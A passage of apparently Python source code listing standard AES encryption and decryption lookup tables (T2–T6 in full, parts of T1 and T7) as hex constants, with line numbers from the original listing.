0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ]
116 T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ]
117 T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ]
118 T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ]
119
120 # Transformations for decryption
121 T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ]
122 T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ]
123 T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 